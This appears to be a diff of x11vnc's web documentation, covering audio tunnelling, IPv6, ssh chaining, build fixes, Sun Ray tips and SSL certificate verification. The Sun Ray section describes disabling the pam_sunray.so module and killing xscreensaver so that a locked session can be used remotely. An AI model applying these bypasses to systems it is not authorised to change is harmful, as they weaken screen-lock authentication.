- First you will need a tunnel to redirect the audio from the remote
- machine to the one you sitting at. We use an ssh tunnel:
- sitting-here> ssh -C -R 16001:localhost:16001 far-away.east
-
- Or one could combine this with the VNC tunnel at the same time, e.g.:
- sitting-here> ssh -C -R 16001:localhost:16001 -t -L 5900:localhost:5900 far-a
-way.east 'x11vnc -localhost -display :0'
-
- Port 16001 is the default ESD uses. So when an application on the
- remote desktop makes a sound it will connect to this tunnel and be
- redirected to port 16001 on the local machine (sitting-here in this
- example.) The -C option is an attempt to compress the audio a little
- bit.
-
- So we next need a local (sitting-here) esd daemon running that will
- receive those requests and play them on the local sound device:
- sitting-here> esd -promiscuous -port 16001 -tcp -bind 127.0.0.1
-
- See the esd(1) man page for the meaning of the options (the above are
- not very secure.) (This method also works with the EsounD windows port
- esd.exe)
-
- To test this sound tunnel, we use the esdplay program to play a simple
- .wav file:
- far-away> esdplay -s localhost:16001 im_so_happy.wav
-
- If you hear the sound (Captain Kirk in this example), that means you
- are in great shape.
-
- To run individual audio applications you can use the esddsp(1)
- command:
- far-away> esddsp -s localhost:16001 xmms
-
- Then you could try playing some sounds inside xmms. You could also set
- the environment variable ESPEAKER=localhost:16001 to not need to
- supply the -s option all the time. (for reasons not clear, sometimes
- esddsp can figure it out on its own.) All the script esddsp does is to
- set ESPEAKER and LD_PRELOAD for you so that when the application opens
- the sound device (usually /dev/dsp) its interactions with the device
- will be intercepted and sent to the esd daemon running on sitting-here
- (that in turn writes them to the real, local /dev/dsp.)
-
- Redirecting All sound:
-
- It does not seem to be possible to switch all of the sound of the
- remote machine from its sound device to the above esd+ssh tunnel
- without some preparation. But it can be done reasonably well if you
- prepare (i.e. restart) the desktop with this in mind.
-
- Here is one way to redirect all sound. The idea is we run the entire
- desktop with sound directed to localhost:16001. When we are sitting at
- far-away.east we run "esd -promiscuous -port 16001 -tcp -bind
- 127.0.0.1" on far-away.east (to be able to hear the sound.) However,
- when we are sitting at sitting-here.west we kill that esd process and
- run that same esd command on sitting-here.west and start up the above
- ssh tunnel. This is a little awkward, but with some scripts one would
- probably kill and restart the esd processes automatically when x11vnc
- is used.
-
- So next we have to run the whole desktop pointing toward our esd. Here
- is a simple way to test. Log in to the machine via the "FailSafe"
- desktop. Then in the lone terminal type something like:
- esddsp -s localhost:16001 gnome-session
-or:
- esddsp -s localhost:16001 startkde
-
- where the last part is whatever command starts your desktop (even
- fvwm2.) This causes the environment variables ESPEAKER and LD_PRELOAD
- to be set appropriately and every application (processes with the
- desktop as an ancestor) will use them. If this scheme works well you
- can make it less klunky by adding the command to your ~/.xsession,
- etc. file that starts your default desktop. Or you may be able to
- configure your desktop to use localhost:16001, or whatever is needed,
- via a gui configuration panel. Some Notes:
- * Not all audio applications are compatible with the esd and artsd
- mechanisms, but many are.
- * The audio is not compressed so you probably need a broadband or
- faster connection. Listening to music may not be very pleasant...
- (Although we found streaming music from across the US over cable
- modem worked OK, but took 200 KB/sec, to use less bandwidth
- consider something like "ssh far-away.east 'cat favorite.mp3' |
- mpg123 -b 4000 -")
- * Linux does not seem to have the concept of LD_PRELOAD_64 so if you
- run on a mixed 64- and 32-bit ABI system (e.g. AMD x86_64) some of
- the applications will fail to run because LD_PRELOAD will point to
- libraries of the wrong wordsize.
- * At some point we hope to fold some automation for esd or artsd ssh
- redir setup into the Enhanced TightVNC Viewer (SSVNC) package we
- provide (as of Sep/2006 it is there for testing.)
-
-
- Q-130: Why don't I hear the "Beeps" in my X session (e.g. when typing
- tput bel in an xterm)?
-
- As of Dec/2003 "Beep" XBell events are tracked by default. The X
- server must support the XKEYBOARD extension (this is not on by default
- in Solaris, see Xserver(1) for how to turn it on via +kb), and so you
- won't hear them if the extension is not present.
-
- If you don't want to hear the beeps use the -nobell option. If you
- want to hear the audio from the remote applications, consider trying a
- redirector such as esd.
-
-
- Q-131: Does x11vnc work with IPv6?
-
- Update: as of Apr/2010 in the 0.9.10 x11vnc development tarball, there
- is now built-in support for IPv6 (128 bit internet addresses.) See the
- -6 and -connect options for details.
-
- The remainder of this FAQ entry shows how to do with this with pre
- 0.9.10 x11vnc using IPv6 helper tools.
- _________________________________________________________________
-
- Using an external IPv6 helper:
- A way to do this is via a separate helper program such as inetd (or
- for encrypted connections: ssh or stunnel.) For example, you configure
- x11vnc to be run from inetd or xinetd and instruct it to listen on an
- IPv6 address. For xinetd the setting "flags = IPv6" will be needed.
- For inetd.conf, an example is:
- 5900 stream tcp6 nowait root /usr/sbin/tcpd /usr/local/bin/x11vnc_wrapper.sh
-
- We also provide a transitional tool in "x11vnc/misc/inet6to4" that
- acts as a relay for any IPv4 application to allow connections over
- IPv6. For example:
- inet6to4 5900 localhost:5900
-
- where x11vnc is listening on IPv4 port 5900.
-
- Also note that not all VNC Viewers are IPv6 enabled, so a redirector
- may also be needed for them. The tool "inet6to4 -r ..." can do this as
- well. SSVNC (see below) supports IPv6 without need for the helper.
-
- # ./inet6to4 -help
-
- inet6to4: Act as an ipv6-to-ipv4 relay for tcp applications that
- do not support ipv6.
-
- Usage: inet6to4
- inet6to4 -r
-
- Examples: inet6to4 5900 localhost:5900
- inet6to4 8080 web1:80
- inet6to4 -r 5900 fe80::217:f2ff:fee6:6f5a%eth0:5900
-
- The -r option reverses the direction of translation (e.g. for ipv4
- clients that need to connect to ipv6 servers.) Reversing is the default
- if this script is named 'inet4to6' (e.g. by a symlink.)
-
- Use Ctrl-C to stop this program.
-
- You can also set env. vars INET6TO4_LOOP=1 or INET6TO4_LOOP=BG
- to have an outer loop restarting this program (BG means do that
- in the background), and INET6TO4_LOGFILE for a log file.
- Also set INET6TO4_VERBOSE to verbosity level and INET6TO4_WAITTIME
- and INET6TO4_PIDFILE (see below.)
-
- The "INET6TO4_LOOP=BG" and "INET6TO4_LOGFILE=..." env. variables make
- the tool run reliably as a daemon for very long periods. Read the top
- part of the script for more information.
- _________________________________________________________________
-
- Encrypted Tunnels with IPv6 Support:
- For SSH tunnelled encrypted VNC connections, one can of course use the
- IPv6 support in ssh(1).
-
- For SSL encrypted VNC connections, one possibility is to use the IPv6
- support in stunnel(1). This includes the built-in support via the
- -stunnel option. For example:
- x11vnc -stunnel SAVE -env STUNNEL_LISTEN=:: -env STUNNEL_DEBUG=1 ...
- _________________________________________________________________
-
- SSH IPv6 Tricks:
- It is interesting to note that ssh(1) can do basically the same thing
- as inet6to4 above by:
- ssh -g -L 5900:localhost:5901 localhost "printf 'Press Enter to Exit: '; read
- x"
-
- (where we have x11vnc running via "-rfbport 5901" in this case.)
-
- Note that one can also make a home-brew SOCKS5 ipv4-to-ipv6 gateway
- proxy using ssh like this:
- ssh -D '*:1080' localhost "printf 'Press Enter to Exit: '; read x"
-
- then specify a proxy like socks://hostname:1080 where hostname is the
- machine running the above ssh command (add -v to ssh for connection
- logging info.)
- _________________________________________________________________
-
- IPv6 SSVNC Viewer:
- Our SSVNC VNC Viewer is basically a wrapper for ssh(1) and stunnel(1),
- and so it already has good IPv6 support because these two commands do.
- On Unix, MacOSX, and Windows nearly all of the the remaining parts of
- SSVNC (e.g. the built-in proxying and un-encrypted connections) have
- been modified to support IPv6 in SSVNC 1.0.26.
-
-
-
-
-
-
- Contributions:
-
- Q-132: Thanks for your program or for your help! Can I make a
- donation?
-
- Please do (any amount is appreciated; very few have donated) and thank
- you for your support! Click on the PayPal button below for more info.
-
- [x-click-but04.gif]-Submit
-
-=======================================================================
-http://www.karlrunge.com/x11vnc/chainingssh.html:
-
-
- _________________________________________________________________
-
- Chaining ssh's: Note that for use of a ssh gateway and -L redirection
- to an internal host (e.g. "-L 5900:otherhost:5900") the VNC traffic
- inside the firewall is not encrypted and you have to manually log into
- otherhost to start x11vnc. Kyle Amon shows a method where you chain
- two ssh's together that encrypts all network traffic and also
- automatically starts up x11vnc on the internal workstation:
-#!/bin/sh
-#
-gateway="example.com" # or "user@example.com"
-host="labyrinth" # or "user@hostname"
-user="kyle"
-
-# Need to sleep long enough for all of the passwords and x11vnc to start up.
-# The </dev/null below makes the vncviewer prompt for passwd via popup window.
-#
-(sleep 10; vncviewer -encodings "copyrect tight zrle zlib hextile" \
- localhost:0 </dev/null >/dev/null) &
-
-# Chain the vnc connection thru 2 ssh's, and connect x11vnc to user's display:
-#
-exec /usr/bin/ssh -t -L 5900:localhost:5900 $gateway \
- /usr/bin/ssh -t -L 5900:localhost:5900 $host \
- sudo /usr/bin/x11vnc -localhost -auth /home/$user/.Xauthority \
- -rfbauth .vnc/passwd -display :0
-
- Also note the use of sudo(1) to switch to root so that the different
- user's .Xauthority file can be accessed. See the visudo(8) manpage for
- details on how to set this up (remove the sudo if you do not want to
- do this). One can also chain together ssh's for reverse connections
- with vncviewers using the -listen option. For this case -R would
- replace the -L (and 5500 the 5900, see the #2 example script above).
- If the gateway machine's sshd is configured with GatewayPorts=no (the
- default) then the double chaining of "ssh -R ..." will be required for
- reverse connections to work.
-
-=======================================================================
-http://www.karlrunge.com/x11vnc/miscbuild.html:
-
-
- _________________________________________________________________
-
- Misc. Build problems: We collect here rare build problems some users
- have reported and the corresponding workarounds. See also the FAQ's on
- building.
- _________________________________________________________________
-
- ENV parameter: One user had a problem where the build script below was
- failing because his work environment had the ENV variable set to a
- script that was resetting his PATH so that gcc could no longer be
- found. Make sure you do not have any ENV or BASH_ENV in your
- environment doing things like that. Typing "unset ENV", etc. before
- configuring and building should clear it.
- _________________________________________________________________
-
- Bash xpg: One user had his bash shell compiled with
- --enable-xpg-echo-default that causes some strange behavior with
- things like echo "\\1 ..." the configure script executes. In
- particular instead of getting "\1" the non-printable character "^A" is
- produced, and causes failures at compile time like:
- ../rfb/rfbconfig.h:9:22: warning: extra tokens at end of #ifndef directive
-
- The workaround is to configure like this:
- env CONFIG_SHELL=/bin/sh /bin/sh ./configure
-
- i.e. avoid using the bash with the misbehavior. A bug has been filed
- against autoconf to guard against this.
- _________________________________________________________________
-
- AIX: one user had to add the "X11.adt" package to AIX to get build
- header files like XShm.h, etc.
- _________________________________________________________________
-
- Ubuntu Feisty Fawn 7.04: In May/2007 one user said he needed to add
- these packages to compile x11vnc on that Linux distro and version:
- apt-get install build-essential make bin86 libjpeg62-dev libssl-dev libxtst-d
-ev
-
- Note that Ubuntu is based on Debian, so perhaps this is the list
- needed on Debian (testing?) as well. To build in Avahi (mDNS service
- advertising) support it would appear that libavahi-client-dev is
- needed as well.
- _________________________________________________________________
-
- Exceedingly slow compilation: x11vnc has a couple of files which
- contain very large "case statements" (over 100 cases) that on some
- platforms can take a very long time to compile (in extreme cases over
- an hour). However on 32bit Linux with intel/amd processor and gcc
- these files usually take less than 10 seconds to compile. For 64bit
- systems using gcc the problem appears to be much worse.
-
- The two files with the large number of cases, remote.c and x11vnc.c,
- have no real need to be optimized (the code is used only very
- infrequently). So it is fine to supply "-O0" (disables optimization)
- to CFLAGS when compiling them. However, it is tricky with
- autoconf/automake to do this (especially since both the compiler and
- make versions have a big effect).
-
- So if the compile times are getting too long for you for these two
- files you will need to manually change some things. First, run
- configure and when it has finished, edit the generated file
- x11vnc/Makefile and put these lines at the very top:
-x11vnc-x11vnc.o : CFLAGS += -O0
-x11vnc-remote.o : CFLAGS += -O0
-
- Those lines assume gnu make (gmake) is being used. If you are using
- another make, say Solaris make, insert these instead:
-x11vnc-x11vnc.o := CFLAGS += -O0
-x11vnc-remote.o := CFLAGS += -O0
-
- You could write a build shell script that modified the Makefile this
- way before running make.
-
- The "-O0" (note it is "capital Oh" followed by "zero") assumes the gcc
- compiler. If you are using a different compiler you will need to find
- the command line option to disable optimization, or otherwise have the
- lines set CFLAGS to the empty string.
- _________________________________________________________________
-
- Broken Thread Local Storage on SuSE 9.2: Starting with x11vnc 0.9.8
- the bundled libvncserver uses the __thread keyword to make some of the
- encodings (i.e. tight) thread safe (multiple VNC clients can be using
- tight at the same time in x11vnc -threads mode.) Evidently on the old
- SuSE 9.2 system the compiler does not support the thread local storage
- properly. Here is an example build failure:
-tight.c:1126: error: unrecognizable insn:
-(insn:HI 11 10 13 0 (nil) (set (reg/f:SI 59)
- (const:SI (plus:SI (symbol_ref:SI ("%lpalette"))
- (const_int 2048 [0x800])))) -1 (nil)
- (expr_list:REG_EQUAL (const:SI (plus:SI (symbol_ref:SI ("%lpalette"))
- (const_int 2048 [0x800])))
- (nil)))
-tight.c:1126: internal compiler error: in extract_insn, at recog.c:2175
-Please submit a full bug report,
-with preprocessed source if appropriate.
-See URL:http://www.suse.de/feedback for instructions.
-
- The workaround is to disable thread local storage at configure time
- like this:
-env CPPFLAGS="-DTLS=''" ./configure
-
- and then build it.
- _________________________________________________________________
-
-=======================================================================
-http://www.karlrunge.com/x11vnc/sunray.html:
-
-
- Sun Ray Notes:
-
- You can run x11vnc on your (connected or disconnected) SunRay session
- (Please remember to use settings like -wait 200, -sb 15, and not
- running a screensaver animation (blank instead) to avoid being a
- resource hog! x11vnc does induce a lot of memory I/O from polling the
- X server. It also helps to have a solid background color, e.g.
- -solid).
-
- News: Sun Ray Remote Control Toolkit: See the nice set of tools in the
- Sun Ray Remote Control Toolkit that launch x11vnc automatically for
- you for certain usage modes.
-
- You have to know the name of the machine your SunRay session X server
- is running on (so you can ssh into it and start x11vnc). You also need
- to know the X11 DISPLAY number for the session: on a SunRay it could
- be a large number, e.g. :137, since there are many people with X
- sessions (Xsun processes) on the same machine. If you don't know it,
- you can get it by running who(1) in a shell on the SunRay server and
- looking for the dtlocal entry with your username (and if you don't
- even know which server machine has your session, you could login to
- all possible ones looking at the who output for your username...).
-
- I put some code in my ~/.dtprofile script that stores $DISPLAY
- (including the hostname) in a ~/.sunray_current file at session
- startup (and deletes it when the X session ends) to make it easy to
- get at the hostname and X11 display number info for my current X
- sessions when I ssh in and am about to start x11vnc.
-
- SunRay Gotcha #1: Note that even though your SunRay X11 DISPLAY is
- something like :137, x11vnc still tries for port 5900 as its listening
- port if it can get it, in which case the VNC display (i.e. the
- information you supply to the VNC viewer) is something like
- sunray-server:0 (note the :0 corresponding to port 5900, it is not
- :137). If it cannot get 5900, it tries for 5901, and so on. You can
- also try to force the port (and thereby the VNC display) using the
- -rfbport NNNN option.
-
- Especially on a busy Sun Ray server it is often difficult to find free
- ports for both VNC and the HTTP Java applet server to listen on. This
- script, vnc_findports may be of use for doing this automatically. It
- suggests x11vnc command line options based on netstat output that
- lists the occupied ports. It is even more difficult to start
- vncserver/Xvnc on a busy Sun Ray because then 3 ports (HTTP, VNC, and
- X11), all separated by 100 are needed! This script, findvncports may
- be helpful as well. Both scripts start at VNC display :10 and work
- their way up.
-
- SunRay Gotcha #2: If you get an error like:
- shmget(tile) failed.
- shmget: No space left on device
-
- when starting up x11vnc that most likely means all the shared memory
- (shm) slots are filled up on your machine. The Solaris default is only
- 100, and that can get filled up in a week or so on a SunRay server
- with lots of users. If the shm slot is orphaned (e.g. creator process
- dies) the slot is not reclaimed. You can view the shm slots with the
- "ipcs -mA" command. If there are about 100 then you've probably hit
- this problem. They can be cleaned out (by the owner or by root) using
- the ipcrm command. I wrote a script shm_clear that finds the orphans
- and lists or removes them. Longer term, have your SunRay sysadmin add
- something like this to /etc/system:
- set shmsys:shminfo_shmmax = 0x2000000
- set shmsys:shminfo_shmmni = 0x1000
-
- SunRay Gotcha #3: Some SunRay installations have implemented
- suspending certain applications when a SunRay session is in a
- disconnected state (e.g. Java Badge pulled out, utdetach, etc). This
- is a good thing because it limits hoggy or runaway apps from wasting
- the shared CPU resource. Think how much CPU and memory I/O is wasted
- by a bunch of Firefox windows running worthless Flash animations while
- your session is disconnected!
-
- So some sites have implemented scripts to suspend (e.g. kill -STOP)
- certain apps when your badge is removed from the SunRay terminal. When
- you reattach, it kill -CONT them. This causes problems for viewing the
- detached SunRay session via x11vnc: those suspended apps will not
- respond (their windows will be blank or otherwise inactive).
-
- What to do? Well, since you are going to be using the application you
- might as well unfreeze it rather than starting up a 2nd instance. Here
- is one way to do it using the kill -CONT mechanism:
- kill -CONT `ps -ealf | grep ' T ' | grep $LOGNAME | awk '{print $4}'`
-
- If you want to be a good citizen and re-freeze them before you exit
- x11vnc this script could be of use:
-#!/bin/sh
-#
-# kill -STOP/-CONT script for x11vnc (or other) SunRay usage ("freezes"
-# certain apps from hogging resources when disconnected).
-#
-# Put here a pattern that matches the apps that are frozen:
-#
-appmatch="java_vm|jre|netscape-bin|firefox-bin|realplay|acroread|mozilla-bin"
-
-if [ "X$1" = "Xfreeze" ]; then
- pkill -STOP -U $LOGNAME "$appmatch"
-elif [ "X$1" = "Xthaw" ]; then
- pkill -CONT -U $LOGNAME "$appmatch"
-
-elif [ "$RFB_MODE" = "afteraccept" -a "$RFB_STATE" = "NORMAL" ]; then
- # a valid x11vnc login.
- if [ "$RFB_CLIENT_COUNT" = "1" ]; then
- # only one client present.
- pkill -CONT -U $LOGNAME "$appmatch"
- fi
-elif [ "$RFB_MODE" = "gone" -a "$RFB_STATE" = "NORMAL" ]; then
- # a valid x11vnc login.
- if [ "$RFB_CLIENT_COUNT" = "0" ]; then
- # last client present has just left.
- pkill -STOP -U $LOGNAME "$appmatch"
- fi
-fi
-exit 0
-
- If you called the script "goodcitizen" you could type "goodcitizen
- thaw" to unfreeze them, and then "goodcitizen freeze" to refreeze
- them. One could also use these x11vnc options "-afteraccept
- goodcitizen -gone goodcitizen" to do it automatically.
-
- SunRay Gotcha #4: Recent versions of the Sun Ray Server Software
- SRSS (seems to be version 3.0 or 3.1) have a "misfeature" that when
- the session is disconnected (i.e. badge/smartcard out) the screen
- locker (xscreensaver) will freeze the X server just when the "Enter
- Password" dialog box appears. So you cannot unlock the screen remotely
- via x11vnc!
-
- Update: please see Bob Doolittle's detailed description of the this
- issue at the bottom of this section.
-
- Here "freeze" means "stop other X clients from inserting keyboard and
- mouse input and from viewing the current contents of the screen". Or
- something like that; the upshot is x11vnc can't do its normal thing.
-
- There are several workarounds for this.
-
- 1) The easiest one by far is to put these lines in your
- $HOME/.dtprofile file:
-SUN_SUNRAY_UTXLOCK_PREF="/usr/openwin/bin/xlock -mode blank"
-export SUN_SUNRAY_UTXLOCK_PREF
-
- One might argue that xlock isn't particularly "pretty". (Just IMHO,
- but if something like this not being pretty actually gets in the way
- of your work I think some introspection may be in order. :-)
-
- 2) The problem has been traced to the pam_sunray.so PAM module.
- Evidently xscreensaver invokes this pam module and it communicates
- with utsessiond who in turn instructs the Xsun server to not process
- any synthetic mouse/keyboard input or to update the screen
- framebuffer. It is not clear if this is by design (security?) or
- something else.
-
- In any event, the problem can be avoided, somewhat drastically, by
- commenting out the corresponding line in /etc/pam.conf:
-#xscreensaver auth sufficient /opt/SUNWut/lib/pam_sunray.so syncondisplay
-
- Leave the other xscreensaver pam authentication lines unchanged. The
- dtsession-SunRay line may also need to be commented out to avoid the
- problem for CDE sessions. N.B. it is possible the application of a
- SSRS patch, etc, may re-enable that /etc/pam.conf line. It may be
- difficult to convince a sysadmin to make this change.
-
- 3) A more forceful way is to kill the xscreensaver process from a
- shell prompt whenever you connect via x11vnc and the screen is in a
- locked state:
-pkill -U $LOGNAME '^xscreensaver$'
-
- And then after you are in be sure to restart it by typing something
- like:
-xscreensaver &
-
- You may want to avoid restarting it until you are about to disconnect
- your VNC viewer (since if it locks the screen while you are working
- you'll be stuck again).
-
- 3') The above idea can be done a bit more cleanly by having x11vnc do
- it. Suppose we called the following script xss_killer:
-#!/bin/sh
-#
-# xss_killer: kill xscreensaver after a valid x11vnc client logs in.
-# Restart xscreensaver and lock it when the last client
-# disconnects.
-
-PATH=/usr/openwin/bin:/usr/bin:$PATH
-export PATH
-
-if [ "$RFB_MODE" = "afteraccept" -a "$RFB_STATE" = "NORMAL" ]; then
- # a valid x11vnc login.
- if [ "$RFB_CLIENT_COUNT" = "1" ]; then
- # only one client present.
- pkill -U $LOGNAME '^xscreensaver$'
- pkill -KILL -U $LOGNAME -f xscreensaver/hacks
- fi
-elif [ "$RFB_MODE" = "gone" -a "$RFB_STATE" = "NORMAL" ]; then
- # a valid x11vnc login.
- if [ "$RFB_CLIENT_COUNT" = "0" ]; then
- # last client present has just left.
- xscreensaver -nosplash &
- sleep 1
- xscreensaver-command -lock &
- fi
-fi
-
- Then we would run x11vnc with these options: "-afteraccept xss_killer
- -gone xss_killer". The -afteraccept option (introduced in version 0.8)
- is used to run a command after a vncviewer has successfully logged in
- (note that this is a VNC login, not a Unix login, so you may not want
- to do this if you are really paranoid...)
-
- Note if you use the above script and also plan to Ctrl-C (SIGINT)
- x11vnc you have to run the xscreensaver in a new process group to
- avoid killing it as well. One way to do this is via this kludge:
-perl -e 'setpgrp(0,0); exec "xscreensaver -nosplash &"'
-
- in the above script.
-
- 4) There appears to be a bug in pam_sunray.so in that it doesn't seem
- to honor the convention that, say, DISPLAY=unix:3 means to use Unix
- sockets to connect to display 3 on the local machine (this is a bit
- faster than TCP sockets). Rather, it thinks the display is a non-local
- one to a machine named "unix" (that usually does not resolve to an IP
- address).
-
- Amusingly, this can be used to bypass the pam_sunray.so blocking of
- Xsun that prevents one from unlocking the screen remotely via x11vnc.
- One could put something like this in $HOME/.dtprofile to kill any
- existing xscreensavers and then start up a fresh xscreensaver using
- DISPLAY=unix:N
-# stop/kill any running xscreensavers (probably not running yet, but to be sure
-)
-xscreensaver-command -exit
-pkill -U $LOGNAME '^xscreensaver$'
-env DISPLAY=`echo $DISPLAY | sed -e 's/^.*:/unix:/'` xscreensaver &
-
-
- Important: Note that all of the above workarounds side-step the
- pam_sunray.so PAM module in one way or another. You'll need to see if
- that is appropriate for your site's SunRay / smartcard usage. Also,
- these hacks may break other things and so you may want to test various
- scenarios carefully. E.g. check corner cases like XDMCP/dtremote,
- NSCM, etc.
-
-
- Update May 2008: Here is a useful description of this issue from Bob
- Doolittle who is a developer for Sun Ray at Sun. I don't have the time
- to digest and distill it and then adjust the above methods to provide
- a clearer description, so I just include below the description he sent
- me with the hope that it will help some users:
-
- In SRSS 4.0 and earlier, the purpose of pam_sunray.so in the "auth"
- PAM stack of screensavers is to enable NSCM (and, although this is
- much less commonly used, "SC", which is configured when 3rd-party
- software is installed to allow smartcards to be used as part of the
- authentication process) to work. It should have no effect with
- smartcards. Currently, however, it does block the PAM stack for all
- sessions, which causes xscreensaver, when it locks a disconnected
- session, to not process any mouse or keyboard events as you
- describe (unless xscreensaver does an X server grab, however, other
- applications should still be able to draw in the session although
- xscreensaver may be playing tricks like putting a black window on
- top of everything). In both of the NSCM and SC models,
- authentication occurs in a separate session before SRSS will
- reconnect to the user session, in which case pam_sunray.so causes
- xscreensaver to just unlock the screen without prompting the user
- to enter their password again. To do this, pam_sunray.so has to
- block until the session becomes reconnected, so it can query SRSS
- at that time to determine whether the user has already
- authenticated or not. In SRSS 4.0 and earlier releases,
- pam_sunray.so could have been optimized to not block smartcard
- sessions, although since the session is disconnected this typically
- isn't important (except in the x11vnc case, as you've observed).
-
- In SRSS 4.1, however, for increased security the out-of-session
- authentication model has been extended to *all* session types, so
- pam_sunray.so will be required in all cases unless users are
- willing to authenticate twice upon hotdesking (e.g. when their card
- is inserted). In future, we may do away with pam_sunray.so, and in
- fact with any traditional screen locker in the user session, since
- SRSS itself will be providing better security than a screen locker
- running entirely within the user's X session is capable of
- providing.
-
- Your trick of setting DISPLAY to unix:DPY will effectively disable
- pam_sunray.so (I'm not sure I'd call that a bug - you're going out
- of your way to do something that wouldn't occur in the normal
- course of events, and really provides no useful value other than to
- tickle this behavior in pam_sunray.so). This will mean that, in
- SRSS 4.0 and earlier releases, users will be prompted for their
- passwords twice when reconnecting to their sessions for NSCM and SC
- session types. In 4.1, disabling pam_sunray.so in this way will
- cause this double-authentication to occur for *all* sessions,
- including simple smartcard sessions. Users may be willing to pay
- that price in order to be able to use x11vnc in disconnected
- sessions. I like this hack, personally. It's a little less
- convenient than some of the other approaches you describe, but it's
- lighter-weight and more secure than most of the other approaches,
- and provides the value of being able to use x11vnc in locked
- sessions.
-
- Here are some other minor notes: - I wouldn't recommend storing
- your display in your .dtprofile, unless you're willing to live with
- a single session at a time. Personally, I often find myself using
- several sessions, in several FoGs, for short periods of time so
- this would certainly break. IMO it's pretty easy to use $DISPLAY to
- do what you want on the fly, as needed, so I don't think the price
- of breaking multiple-session functionality would be worth the
- convenience, to me at least. Here's some ksh/bash syntax to extract
- the hostname and display number on the fly which you may find
- useful:
-HOSTNAME=${DISPLAY%:*}
-FULLDPY=${DISPLAY#*:}
-DPYNUM=${FULLDPY%.*}
-
- A final note may give you some insight into other clever hacks in
- this area: - Check out utaction. It's a very handy little utility
- that can be run as a daemon in the user session which will invoke a
- specified command upon session connects and/or disconnects.
- Personally, I start one up in my .dtprofile as follows:
-utaction -c $HOME/.srconnectrc -d $HOME/.srdisconnectrc &
-
- This then allows me to construct a .srconnectrc script containing
- useful commands I'd like to have run every time I insert my
- smartcard, and a .srdisconnectrc script of commands to be run every
- time I remove my smartcard (or, connect/disconnect to my session
- via NSCM or SC). This can be used for things like notifying a chat
- client of away status, as well as some of the hacks you've
- described on your page such as freeze/unfreeze, or perhaps to
- terminate an xscreensaver and start up a new one with the unix:DPY
- $DISPLAY specification as you describe (although it probably makes
- most sense to do this at login time, as opposed to every connect or
- disconnect event).
-
-=======================================================================
-http://www.karlrunge.com/x11vnc/ssl.html:
-
-
- _________________________________________________________________
-
- Notes on x11vnc SSL Certificates and Key Management:
-
- The simplest scheme ("x11vnc -ssl TMP") is where x11vnc generates a
- temporary, self-signed certificate each time (automatically using
- openssl(1)) and the VNC viewer client accepts the certificate without
- question (e.g. user clicks "Yes" in a dialog box. Perhaps the dialog
- allows them to view the certificate too). Also note stunnel's default
- is to quietly accept all certificates.
-
- The encryption this provides protects against all passive sniffing of
- the VNC traffic and passwords on the network and so it is quite good,
- but it does not prevent a Man-In-The-Middle active attack: e.g. an
- attacker intercepts the VNC client stream and sends it his own Public
- key for SSL negotiation (pretending to be the server). Then it makes a
- connection to SSL x11vnc itself and forwards the data back and forth.
- He can see all the traffic and modify it as well.
-
- Most people don't seem to worry about Man-In-The-Middle attacks these
- days; they are more concerned about passive sniffing of passwords,
- etc. Perhaps someday that will change if attack tools are used more
- widely to perform the attack. NOTE: There are hacker tools like
- dsniff/webmitm and cain that implement SSL Man-In-The-Middle attacks.
- They all rely on the client not bothering to check that the cert is
- valid.
-
- If you are not worried about Man-In-The-Middle attacks you do not have
- to read the techniques described in the rest of this document.
-
- To prevent Man-In-The-Middle attacks, certificates must somehow be
- verified. This requires the VNC client side have some piece of
- information that can be used to verify the SSL x11vnc server.
- Alternatively, although rarely done, x11vnc can verify VNC Clients'
- certificates, see the -sslverify option that is discussed below.
-
- There are a number of ways to have the client authenticate the SSL
- x11vnc server. The quickest way perhaps would be to copy (safely) the
- certificate x11vnc prints out:
-26/03/2006 21:12:00 Creating a temporary, self-signed PEM certificate...
-...
------BEGIN CERTIFICATE-----
-MIIC4TCCAkqgAwIBAgIJAMnwCaOjvEKaMA0GCSqGSIb3DQEBBAUAMIGmMQswCQYD
-VQQGEwJBVTEOMAwGA1UEBxMFTGludXgxITAfBgNVBAsTGGFuZ2VsYS0xMTQzNDI1
-NTIwLjQxMTE2OTEPMA0GA1UEChMGeDExdm5jMS4wLAYDVQQDEyV4MTF2bmMtU0VM
-(more lines) ...
------END CERTIFICATE-----
-
- to the client machine(s) and have the client's SSL machinery (e.g.
- stunnel, Web Browser, or Java plugin) import the certificate. That way
- when the connection to x11vnc is made the client can verify that is it
- the desired server on the other side of the SSL connection.
-
- So, for example suppose the user is using the SSL enabled Java VNC
- Viewer and has incorporated the x11vnc certificate into his Web
- browser on the viewing side. If he gets a dialog that the certificate
- is not verified he knows something is wrong. It may be a
- Man-In-The-Middle attack, but more likely x11vnc certificate has
- changed or expired or his browser was reinstalled and/or lost the
- certificate, etc, etc.
-
- As another example, if the user was using stunnel with his VNC viewer
- (this is mentioned in this FAQ), e.g. STUNNEL.EXE on Windows, then he
- would have to set the "CAfile = path-to-the-cert" and "verify = 2"
- options in the stunnel.conf file before starting up the tunnel. If a
- x11vnc certificate cannot be verified, stunnel will drop the
- connection (and print a failure message in its log file).
-
- A third example, using the VNC viewer on Unix with stunnel the wrapper
- script can be used this way: "ss_vncviewer -verify ./x11vnc.crt
- far-away.east:0" where ./x11vnc.crt is the copied certificate x11vnc
- printed out.
-
- As fourth example, our SSVNC enhanced tightvnc viewer can also use
- these certificate files for server authentication. You can load them
- via the SSVNC 'Certs...' dialog and set 'ServerCert' to the
- certificate file you safely copied there.
-
- Note that in principle the copying of the certificate to the client
- machine(s) itself could be altered by a Man-In-The-Middle attack! You
- can't win; it is very difficult to be completely secure. It is
- unlikely the attacker could predict how you were going to send it
- unless you had, say, done it many times before the same way. SSH is a
- very good way to send it (but of course it too depends on public keys
- being sent unaltered between the two machines!).
-
- If you are really paranoid, I'm sure you'll figure out a really good
- way to transport the certificates. See the Certificate Authority
- scheme below for a way to make this easier (you just have to do it
- once).
-
- _________________________________________________________________
-
- Saving SSL certificates and keys:
-
- Now, it would be very inconvenient to copy the new temporary
- certificate every time x11vnc is run in SSL mode. So for convenience
- there is the "SAVE" keyword to instruct x11vnc to save the certificate
- it creates:
- x11vnc -ssl SAVE -display :0 ...
-
- This behavior is now the default, you must use "TMP" for a temporary
- one. It will save the certificate and private key in these files:
- ~/.vnc/certs/server.crt
- ~/.vnc/certs/server.pem
-
- The ".crt" file contains only the certificate and should be safely
- copied to the VNC Viewer machine(s) that will be authenticating the
- x11vnc server. The ".pem" file contains both the certificate and the
- private key and should be kept secret. (If you don't like the default
- location ~/.vnc/certs, e.g. it is on an NFS share and you are worried
- about local network sniffing, use the -ssldir dir option to point to a
- different directory.)
-
- So the next time you run "x11vnc -ssl SAVE ..." it will read the
- server.pem file directly instead of creating a new one.
-
